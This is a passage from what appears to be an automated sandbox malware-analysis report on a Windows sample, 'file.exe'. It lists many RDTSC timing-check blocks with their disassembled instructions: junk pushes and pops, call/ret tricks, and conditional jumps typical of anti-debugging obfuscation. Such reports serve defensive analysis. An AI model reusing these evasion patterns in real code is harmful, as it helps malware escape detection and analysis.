push edi 0x00000057 ret 0x00000058 pop edi 0x00000059 ret 0x0000005a jnl 00007F654CE0FA06h 0x00000060 clc 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 jne 00007F654CE0FA06h 0x0000006b pop eax 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C9F4B second address: 7C9F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C9F51 second address: 7C9FB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov di, bx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F654CE0FA08h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov ebx, 1CE4B338h 0x00000030 jnc 00007F654CE0FA0Ah 0x00000036 push 00000000h 0x00000038 mov ebx, dword ptr [ebp+1245F905h] 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push ebx 0x00000042 pushad 0x00000043 popad 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CD63E second address: 7CD644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CD644 second address: 7CD679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F654CE0FA0Ah 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F654CE0FA0Dh 0x00000014 jmp 00007F654CE0FA14h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CD679 second address: 7CD685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F654C734E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CDC41 second address: 7CDCC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F654CE0FA16h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F654CE0FA0Bh 0x00000011 nop 0x00000012 sub dword ptr [ebp+122D31FFh], eax 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F654CE0FA08h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 jno 00007F654CE0FA08h 0x0000003a jmp 00007F654CE0FA19h 0x0000003f push 00000000h 0x00000041 mov bh, F0h 0x00000043 xchg eax, esi 0x00000044 jmp 00007F654CE0FA0Dh 0x00000049 push eax 0x0000004a push edi 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e pop esi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CED5F second address: 7CED63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CED63 second address: 7CED69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CED69 second address: 7CED7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F654C734E56h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CED7C second address: 7CEDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 call 00007F654CE0FA13h 0x0000000c mov edi, dword ptr [ebp+122D3993h] 0x00000012 pop edi 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 mov dword ptr [ebp+122D1E5Ch], ebx 0x0000001c popad 0x0000001d mov dword ptr [ebp+1245B304h], esi 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F654CE0FA08h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f mov di, CD20h 0x00000043 mov bh, AEh 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F654CE0FA0Ah 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CFE07 second address: 7CFE11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CFE11 second address: 7CFE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CDF61 second address: 7CDF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E5Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7CFE15 second address: 7CFE86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007F654CE0FA0Eh 0x0000000e push esi 0x0000000f jnl 00007F654CE0FA06h 0x00000015 pop esi 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F654CE0FA08h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 cmc 0x00000032 push 00000000h 0x00000034 mov bx, si 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F654CE0FA08h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 jmp 00007F654CE0FA0Bh 0x00000058 push eax 0x00000059 push esi 0x0000005a push eax 0x0000005b push edx 0x0000005c jo 00007F654CE0FA06h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7D3E87 second address: 7D3E9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7D4418 second address: 7D441C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7D441C second address: 7D44C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 je 00007F654C734E65h 0x0000000e jmp 00007F654C734E5Fh 0x00000013 nop 0x00000014 jmp 00007F654C734E69h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F654C734E58h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov edi, 6E7BBD66h 0x0000003a mov di, dx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F654C734E58h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 0000001Ch 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 xor dword ptr [ebp+1245ED81h], eax 0x0000005f xchg eax, esi 0x00000060 jmp 00007F654C734E5Ch 0x00000065 push eax 0x00000066 pushad 0x00000067 jno 00007F654C734E58h 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7D53B8 second address: 7D53BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7D8456 second address: 7D847D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E63h 0x00000009 popad 0x0000000a jnc 00007F654C734E58h 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7E0185 second address: 7E01B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F654CE0FA16h 0x0000000f jmp 00007F654CE0FA0Eh 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7E01B6 second address: 7E01BD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 77C057 second address: 77C05D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 77C05D second address: 77C06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jp 00007F654C734E56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7DF721 second address: 7DF73D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA18h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7DF90D second address: 7DF919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7E783D second address: 7E787A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F654CE0FA12h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F654CE0FA15h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jp 00007F654CE0FA06h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7E787A second address: 7E7880 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7E7880 second address: 7E78A8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F654CE0FA16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EBCE5 second address: 7EBCE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EBFA1 second address: 7EBFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EBFA7 second address: 7EBFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jp 00007F654C734E56h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EBFB6 second address: 7EBFBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EBFBD second address: 7EBFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EC150 second address: 7EC155 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EC155 second address: 7EC15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EC3A0 second address: 7EC3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EC3A4 second address: 7EC3E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ah 0x00000007 jne 00007F654C734E56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F654C734E6Ch 0x00000018 jnp 00007F654C734E5Ch 0x0000001e jns 00007F654C734E56h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7EC3E3 second address: 7EC3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F654CE0FA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C01AF second address: 7C01B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C06B6 second address: 7C06C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C06C3 second address: 7C06C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C06C7 second address: 7C06D1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C06D1 second address: 7C06D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C06D7 second address: 7C06DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C074B second address: 7C0787 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], esi 0x0000000e mov dword ptr [ebp+12474E51h], eax 0x00000014 push eax 0x00000015 pushad 0x00000016 pushad 0x00000017 jmp 00007F654C734E67h 0x0000001c jmp 00007F654C734E5Ah 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C095C second address: 7C0966 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C0966 second address: 7C096B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C096B second address: 7C0971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C0D98 second address: 7C0D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C0D9E second address: 7C0E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F654CE0FA14h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F654CE0FA08h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov di, cx 0x0000002b pushad 0x0000002c cld 0x0000002d mov dword ptr [ebp+122D2465h], ecx 0x00000033 popad 0x00000034 push 0000001Eh 0x00000036 call 00007F654CE0FA0Ah 0x0000003b mov edi, dword ptr [ebp+122D1D62h] 0x00000041 pop ecx 0x00000042 nop 0x00000043 push eax 0x00000044 push edx 0x00000045 jbe 00007F654CE0FA08h 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C0E0A second address: 7C0E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F654C734E62h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C0E3C second address: 7C0E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C1215 second address: 7C1219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C1219 second address: 7C1297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F654CE0FA0Fh 0x0000000f jmp 00007F654CE0FA18h 0x00000014 pop edx 0x00000015 lea eax, dword ptr [ebp+12484DC8h] 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F654CE0FA08h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 cld 0x00000036 nop 0x00000037 pushad 0x00000038 jmp 00007F654CE0FA0Eh 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F654CE0FA16h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C1297 second address: 79D226 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F654C734E5Eh 0x0000000e push edi 0x0000000f js 00007F654C734E56h 0x00000015 pop edi 0x00000016 nop 0x00000017 mov edi, dword ptr [ebp+1245FAA2h] 0x0000001d call dword ptr [ebp+12447D76h] 0x00000023 pushad 0x00000024 jnl 00007F654C734E5Ah 0x0000002a push edi 0x0000002b push edi 0x0000002c pop edi 0x0000002d ja 00007F654C734E56h 0x00000033 pop edi 0x00000034 push ecx 0x00000035 jns 00007F654C734E56h 0x0000003b pop ecx 0x0000003c popad 0x0000003d push edi 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 781025 second address: 781029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 781029 second address: 78102F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F030A second address: 7F0328 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jno 00007F654CE0FA0Ah 0x0000000e jne 00007F654CE0FA08h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F50BD second address: 7F50C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F50C3 second address: 7F50D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnl 00007F654CE0FA06h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F50D4 second address: 7F50F2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F654C734E58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F654C734E5Dh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F4DA0 second address: 7F4DCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Eh 0x00000007 js 00007F654CE0FA06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F654CE0FA14h 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007F654CE0FA0Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F5A77 second address: 7F5A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F5A7D second address: 7F5A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F5A87 second address: 7F5AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F654C734E65h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F5BFD second address: 7F5C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F654CE0FA06h 0x0000000a popad 0x0000000b push ebx 0x0000000c jng 00007F654CE0FA06h 0x00000012 jmp 00007F654CE0FA11h 0x00000017 pop ebx 0x00000018 jg 00007F654CE0FA16h 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F5C2C second address: 7F5C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F5DF9 second address: 7F5DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F605F second address: 7F607F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Ch 0x00000009 je 00007F654C734E56h 0x0000000f popad 0x00000010 pushad 0x00000011 ja 00007F654C734E56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7F607F second address: 7F6085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FBE34 second address: 7FBE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jnp 00007F654C734E56h 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FBE45 second address: 7FBE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC142 second address: 7FC164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F654C734E5Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC164 second address: 7FC181 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007F654CE0FA06h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC58F second address: 7FC595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC595 second address: 7FC59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
